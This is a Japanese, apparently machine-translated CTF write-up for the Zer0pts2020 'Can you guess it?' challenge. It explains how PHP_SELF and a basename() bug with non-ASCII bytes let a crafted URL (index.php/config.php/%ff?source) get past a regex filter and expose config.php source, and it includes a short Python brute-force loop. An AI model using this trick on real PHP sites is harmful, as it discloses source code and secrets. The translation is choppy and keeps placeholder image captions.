[BUUCTF] [Zer0pts2020]推測できますか?

事前知識

学んだいくつかの新しい関数と変数

新しい変数属性-PHP_SELF

$_SERVER['PHP_SELF']ドキュメントのルートに関連する、Webサイトのルートディレクトリを基準にした現在のphpファイルの場所のアドレスを示します。
以下はローカルテストのスクリーンショットです。http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']
ここに写真の説明を挿入

新しいphp関数-basename

basename()この関数は、パスのファイル名の部分を返します。
パスが/index.php/config.phpの場合、
ブラウザーの分析結果はindex.phpで
あり、basenameはconfig.phpを返し
ます。その後に余分な文字が続く場合でも、ファイル名の部分も返します。
ここに写真の説明を挿入

非ASCII文字で壊れたベース名


以下は[公式ウェブサイト](https://bugs.php.net/bug.php?id=62119)からの英語の説明です

デフォルトのロケール設定「C」では、basename()は
ファイル名の先頭に非ASCII文字ドロップします。

var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

簡単に言えばbasename()、関数に問題があり、ファイル名の先頭にある非ASCII値が削除されます

WPパート

この質問は実際には非常に単純です。上記の関数を知った後、コード監査後の最も重要な部分は通常のフィルタリング/config.php/*$/iです。それをバイパスするだけで済みます。理由は非常に単純です。
これはマッチングテールである
ため、作成xxxxx.node3.buuoj.cn/index.php/config.php/%ff?source
するだけで済みます。
一方では、通常のマッチングをバイパスします。他方ではisset、それを取得するために満足します。config.php
ここに写真の説明を挿入
もちろん、スクリプトを使用して、どの文字が除外されないかを試すこともできます。

import requests
import re

for i in range(0,255):
    url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    flag = re.findall("flag\{.*?\}", r.text)
    if flag:
        print(flag)
        break


おすすめ

転載: blog.csdn.net/solitudi/article/details/108912334
おすすめ